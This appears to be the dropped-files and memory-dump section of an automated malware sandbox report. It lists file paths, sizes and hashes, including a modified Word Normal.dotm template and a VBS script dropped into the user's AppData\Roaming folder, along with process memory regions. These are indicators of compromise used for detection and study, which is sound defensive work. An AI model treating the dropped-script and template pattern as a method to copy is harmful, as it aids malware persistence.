    • C:\Users\Admin\AppData\Local\Temp\{1D8D3EFF-22B6-4A2C-8354-203008528091}

      Filesize

      128KB

      MD5

      dfb74ad31bbd47d51046f8d26ed1df6a

      SHA1

      08a842d1b3c3b0a487d30e98981462a586a3e287

      SHA256

      0007c9a5c0509c6a26a20e130c3951213dd44fd0f32eb77009908f999186fc9f

      SHA512

      778b080198f621b613f41e2ac281a964e86fcc2a93ec2a951af9536868e595da320fb63a31912901531e0a37a3c46f1fb60d1e2f6b74f682bf0495f61adcad04

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

      Filesize

      20KB

      MD5

      4d9bc411b443287be5ac5d4f80f544c1

      SHA1

      4409092b516a8b3647547fa431af254e80198b8a

      SHA256

      c2f2fb50d2ae1f0268f7683ec74cf4561687422a74a61b74fe709b7f4fca7d9d

      SHA512

      16bd262666e759688ce8a1b8008a968f51ee3ac872cd76aca6c002c1a64ce911bf486f597afbb0c9ded9c32a95e3803681804844ac10b55bc114aad89faf3b07

    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Cookies\56H0SQKR.txt

      Filesize

      71B

      MD5

      e19bc3f7626d193f55d089d39c866096

      SHA1

      847e65247ef644ee0f08d0add3ba01b5aa8b36fa

      SHA256

      777cdc147ac48f3ad9fecddacd484d2bc255381ec19c883de0f915db6de73e9a

      SHA512

      886e3aa6f7caaf9eb75fc6df9ed357f803622cfaf33e5b03c16cb1314251c32cc78c192e9371670860c26cafe8a7c434a8aa8c8e8fe7e9df3083e47cc69b141f

    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

      Filesize

      7KB

      MD5

      45e19dc3cbafc25bae6945196db3d112

      SHA1

      180c2bf2ddf4ffdb84b4d8dde500e46fac75f83b

      SHA256

      f8ff41dbbc81d5e82fc05d07dae1cd5e5cab7219991013a68aeac698fc0d2021

      SHA512

      97b428068874d4d24573ca31b5fb981d005f9816bf7704478c2ba46659d22c9aa892e0ac5d1694347853f0700b7a367cf26986190af7a4e06ea53acef555abad

    • C:\Users\Admin\AppData\Roaming\pixelcreatedforkissinglove.vbs

      Filesize

      5KB

      MD5

      e6a0cfb0bb1713dba11e14c0615977d2

      SHA1

      2a7a1e1519085b6939fa225e90cd6e23a054c896

      SHA256

      aaed8e24ca09554c52a4172ba76d724581c6dab04e2153023b0485d898378a60

      SHA512

      9a9f7de58b9813c7193dbe6b510655d60cef1f7db4486e7255c48e7301a21b54c73b77e0cac12330c7c458f39a9e2cb8bfff56074fcb3b5fedf49f21256ddbad

    • memory/540-274-0x0000000000400000-0x0000000000462000-memory.dmp

      Filesize

      392KB

    • memory/540-296-0x0000000000400000-0x0000000000462000-memory.dmp

      Filesize

      392KB

    • memory/540-263-0x0000000000400000-0x0000000000462000-memory.dmp

      Filesize

      392KB

    • memory/540-267-0x0000000000400000-0x0000000000462000-memory.dmp

      Filesize

      392KB

    • memory/540-273-0x0000000000400000-0x0000000000462000-memory.dmp

      Filesize

      392KB

    • memory/540-256-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

      Filesize

      4KB

    • memory/540-270-0x0000000000400000-0x0000000000462000-memory.dmp

      Filesize

      392KB

    • memory/888-219-0x0000000069460000-0x0000000069A0B000-memory.dmp

      Filesize

      5.7MB

    • memory/888-123-0x00000000028E0000-0x0000000002920000-memory.dmp

      Filesize

      256KB

    • memory/888-120-0x0000000069460000-0x0000000069A0B000-memory.dmp

      Filesize

      5.7MB

    • memory/888-122-0x00000000028E0000-0x0000000002920000-memory.dmp

      Filesize

      256KB

    • memory/888-121-0x0000000069460000-0x0000000069A0B000-memory.dmp

      Filesize

      5.7MB

    • memory/1492-281-0x0000000000400000-0x0000000000424000-memory.dmp

      Filesize

      144KB

    • memory/1492-278-0x0000000000400000-0x0000000000424000-memory.dmp

      Filesize

      144KB

    • memory/1492-280-0x0000000000400000-0x0000000000424000-memory.dmp

      Filesize

      144KB

    • memory/1492-275-0x0000000000400000-0x0000000000424000-memory.dmp

      Filesize

      144KB

    • memory/1492-279-0x0000000000400000-0x0000000000424000-memory.dmp

      Filesize

      144KB

    • memory/1492-268-0x0000000000400000-0x0000000000424000-memory.dmp

      Filesize

      144KB

    • memory/1492-277-0x0000000000400000-0x0000000000424000-memory.dmp

      Filesize

      144KB

    • memory/1576-204-0x0000000000400000-0x0000000000482000-memory.dmp

      Filesize

      520KB

    • memory/1576-222-0x0000000000400000-0x0000000000482000-memory.dmp

      Filesize

      520KB

    • memory/1576-214-0x0000000000400000-0x0000000000482000-memory.dmp

      Filesize

      520KB

    • memory/1576-212-0x0000000000400000-0x0000000000482000-memory.dmp

      Filesize

      520KB

    • memory/1576-207-0x0000000000400000-0x0000000000482000-memory.dmp

      Filesize

      520KB

    • memory/1576-206-0x0000000000400000-0x0000000000482000-memory.dmp

      Filesize

      520KB

    • memory/1576-205-0x0000000000400000-0x0000000000482000-memory.dmp

      Filesize

      520KB

    • memory/1576-298-0x0000000010000000-0x0000000010019000-memory.dmp

      Filesize

      100KB

    • memory/1576-203-0x0000000000400000-0x0000000000482000-memory.dmp

      Filesize

      520KB

    • memory/1576-202-0x0000000000400000-0x0000000000482000-memory.dmp

      Filesize

      520KB

    • memory/1576-217-0x0000000000400000-0x0000000000482000-memory.dmp

      Filesize

      520KB

    • memory/1576-218-0x0000000000400000-0x0000000000482000-memory.dmp

      Filesize

      520KB

    • memory/1576-208-0x0000000000400000-0x0000000000482000-memory.dmp

      Filesize

      520KB

    • memory/1576-220-0x0000000000400000-0x0000000000482000-memory.dmp

      Filesize

      520KB

    • memory/1576-221-0x0000000000400000-0x0000000000482000-memory.dmp

      Filesize

      520KB

    • memory/1576-287-0x0000000000400000-0x0000000000482000-memory.dmp

      Filesize

      520KB

    • memory/1576-223-0x0000000000400000-0x0000000000482000-memory.dmp

      Filesize

      520KB

    • memory/1576-224-0x0000000000400000-0x0000000000482000-memory.dmp

      Filesize

      520KB

    • memory/1576-226-0x0000000000400000-0x0000000000482000-memory.dmp

      Filesize

      520KB

    • memory/1576-209-0x0000000000400000-0x0000000000482000-memory.dmp

      Filesize

      520KB

    • memory/1576-297-0x0000000000400000-0x0000000000482000-memory.dmp

      Filesize

      520KB

    • memory/1576-295-0x0000000010000000-0x0000000010019000-memory.dmp

      Filesize

      100KB

    • memory/1576-293-0x0000000010000000-0x0000000010019000-memory.dmp

      Filesize

      100KB

    • memory/1576-294-0x0000000010000000-0x0000000010019000-memory.dmp

      Filesize

      100KB

    • memory/1576-210-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

      Filesize

      4KB

    • memory/1576-290-0x0000000010000000-0x0000000010019000-memory.dmp

      Filesize

      100KB

    • memory/1576-288-0x0000000000400000-0x0000000000482000-memory.dmp

      Filesize

      520KB

    • memory/1712-131-0x0000000069460000-0x0000000069A0B000-memory.dmp

      Filesize

      5.7MB

    • memory/1712-215-0x0000000069460000-0x0000000069A0B000-memory.dmp

      Filesize

      5.7MB

    • memory/1712-129-0x0000000069460000-0x0000000069A0B000-memory.dmp

      Filesize

      5.7MB

    • memory/1712-130-0x0000000002B80000-0x0000000002BC0000-memory.dmp

      Filesize

      256KB

    • memory/1804-25-0x00000000023D0000-0x00000000023D2000-memory.dmp

      Filesize

      8KB

    • memory/1804-251-0x00000000725DD000-0x00000000725E8000-memory.dmp

      Filesize

      44KB

    • memory/1804-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/1804-1-0x00000000725DD000-0x00000000725E8000-memory.dmp

      Filesize

      44KB

    • memory/1804-89-0x00000000725DD000-0x00000000725E8000-memory.dmp

      Filesize

      44KB

    • memory/2352-197-0x0000000002ED0000-0x0000000002F10000-memory.dmp

      Filesize

      256KB

    • memory/2352-198-0x0000000069460000-0x0000000069A0B000-memory.dmp

      Filesize

      5.7MB

    • memory/2352-196-0x0000000069460000-0x0000000069A0B000-memory.dmp

      Filesize

      5.7MB

    • memory/2352-201-0x0000000069460000-0x0000000069A0B000-memory.dmp

      Filesize

      5.7MB

    • memory/2464-262-0x0000000000400000-0x0000000000478000-memory.dmp

      Filesize

      480KB

    • memory/2464-257-0x0000000000400000-0x0000000000478000-memory.dmp

      Filesize

      480KB

    • memory/2464-254-0x0000000000400000-0x0000000000478000-memory.dmp

      Filesize

      480KB

    • memory/2464-286-0x0000000000400000-0x0000000000478000-memory.dmp

      Filesize

      480KB

    • memory/2464-260-0x0000000000400000-0x0000000000478000-memory.dmp

      Filesize

      480KB

    • memory/2464-261-0x0000000000400000-0x0000000000478000-memory.dmp

      Filesize

      480KB

    • memory/2684-22-0x00000000725DD000-0x00000000725E8000-memory.dmp

      Filesize

      44KB

    • memory/2684-20-0x000000002FA21000-0x000000002FA22000-memory.dmp

      Filesize

      4KB

    • memory/2684-247-0x00000000725DD000-0x00000000725E8000-memory.dmp

      Filesize

      44KB

    • memory/2684-90-0x00000000725DD000-0x00000000725E8000-memory.dmp

      Filesize

      44KB

    • memory/2684-246-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2684-24-0x0000000003710000-0x0000000003712000-memory.dmp

      Filesize

      8KB